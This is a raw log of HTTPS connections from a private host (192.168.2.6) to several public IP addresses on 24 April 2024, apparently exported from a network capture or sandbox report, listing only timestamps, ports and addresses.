Apr 24, 2024 08:21:56.996907949 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:56.996926069 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:56.998060942 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:56.998445034 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:56.998595953 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:56.998600006 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:56.998615026 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:56.998707056 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:56.998733044 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:56.998812914 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:56.998862028 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.162673950 CEST	443	49763	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:57.162928104 CEST	443	49763	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:57.163001060 CEST	49763	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:57.163264036 CEST	49763	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:57.163279057 CEST	443	49763	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:57.163305044 CEST	49763	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:57.337897062 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.338087082 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.338143110 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:57.338157892 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.338391066 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.338444948 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:57.340243101 CEST	49764	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:57.340251923 CEST	443	49764	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:57.370202065 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.370289087 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.370529890 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.375516891 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.375549078 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.404932022 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.404963017 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.405179024 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.406126022 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.406140089 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.711261988 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.711776972 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.711807966 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.713361025 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.713746071 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.713979006 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.713990927 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.714025974 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:57.714150906 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:57.721076965 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.721312046 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.721339941 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.721899986 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.722218990 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.722312927 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.722352028 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.762897015 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:57.762912035 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:57.762976885 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.075997114 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:58.076184988 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:58.076255083 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:58.077286005 CEST	49766	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:58.077306032 CEST	443	49766	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:58.428545952 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.428903103 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.429094076 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.430387020 CEST	49765	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.430450916 CEST	443	49765	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.447242022 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.447283030 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.447545052 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.447750092 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.447808027 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.447871923 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.448108912 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.448128939 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.448497057 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.448514938 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.449146986 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.449184895 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.449395895 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.449748993 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.449767113 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.451236010 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.451275110 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.451358080 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.451747894 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.451766968 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.609185934 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.609216928 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.609343052 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.609616995 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.609633923 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.763679981 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.764075041 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.764096975 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.764596939 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.764983892 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.765063047 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:58.780441999 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.780720949 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.780741930 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.781068087 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.781233072 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.781267881 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.781284094 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.781653881 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.781761885 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.781795979 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.781807899 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.782506943 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.782888889 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.783091068 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:58.784143925 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.784359932 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.784379959 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.785166979 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.785479069 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.785557032 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.805800915 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:58.837061882 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:58.837064028 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.837160110 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.944430113 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.944685936 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.944699049 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.945763111 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.945823908 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.946675062 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.946733952 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.946830988 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.992114067 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:58.993207932 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:58.993216991 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.039369106 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.412853003 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:59.412936926 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:59.413346052 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:59.414211035 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:59.414287090 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:59.506908894 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.507133007 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.507261038 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.507292032 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.507446051 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.507859945 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.512666941 CEST	49767	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.512689114 CEST	443	49767	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.529215097 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.529254913 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.532666922 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.532738924 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.532954931 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.532972097 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.580141068 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.697268009 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.697429895 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.697766066 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.700665951 CEST	49771	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.700689077 CEST	443	49771	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.873838902 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.874164104 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.874196053 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.875638962 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.876161098 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:59.876322985 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:59.925632954 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.007003069 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.007200956 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.010904074 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.010960102 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.011424065 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.020207882 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.058099985 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.058360100 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.058413982 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.058438063 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.058480024 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.058532000 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.059248924 CEST	49768	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.059262037 CEST	443	49768	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.062031984 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.062134981 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.068120956 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.574875116 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.574949980 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575069904 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575129986 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.575166941 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575206995 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.575222969 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575298071 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.575298071 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.575316906 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575366974 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.575413942 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.580224037 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.580291986 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.580331087 CEST	49772	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:22:00.580351114 CEST	443	49772	13.85.23.86	192.168.2.6
Apr 24, 2024 08:22:00.609623909 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.609873056 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.609930992 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.609951019 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.609982967 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610033035 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.610069990 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610222101 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610294104 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.610308886 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610379934 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610457897 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610491991 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.610502005 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.610934019 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.610939980 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.611603022 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.611709118 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.611757994 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.611766100 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.611804962 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.611810923 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.612229109 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.612282991 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.612289906 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.612396002 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.612561941 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.612567902 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.613325119 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.613368034 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.613374949 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.613461018 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.613663912 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.613671064 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.657296896 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.735896111 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736244917 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736268997 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736313105 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.736334085 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736373901 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.736633062 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736790895 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736820936 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736840010 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.736855984 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.736893892 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.737675905 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.737943888 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.737989902 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.737998009 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.738431931 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.738467932 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.738478899 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.738485098 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.738532066 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.738549948 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.739343882 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.739387989 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.739391088 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.739401102 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.739435911 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.740220070 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.740274906 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.741116047 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.741169930 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.741175890 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.741230965 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.741425991 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.741568089 CEST	49773	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.741580009 CEST	443	49773	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.757371902 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.757437944 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.757529020 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.767725945 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.767790079 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.767910004 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.768479109 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.768500090 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.768583059 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.768997908 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.769018888 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.769294024 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.769639969 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.769665956 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.769802094 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.770596981 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.770651102 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.770895958 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.771975040 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.772008896 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.772371054 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.772399902 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.772860050 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.772882938 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.773359060 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.773384094 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.773662090 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.773680925 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.774066925 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:00.774089098 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:00.910768986 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:00.910808086 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:00.910868883 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:00.911118031 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:00.911134958 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.036041975 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.036075115 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.036268950 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.036520004 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.036535025 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.104945898 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.105460882 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.105523109 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.106125116 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.106643915 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.106643915 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.106688976 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.106775045 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.112953901 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.113194942 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.113394976 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.113409996 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.113518000 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.113579035 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.114550114 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.114780903 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.114933968 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.114996910 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.115109921 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.115118027 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.115212917 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.115618944 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.115955114 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.115952015 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.116014004 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.116190910 CEST	49777	443	192.168.2.6	172.67.143.205
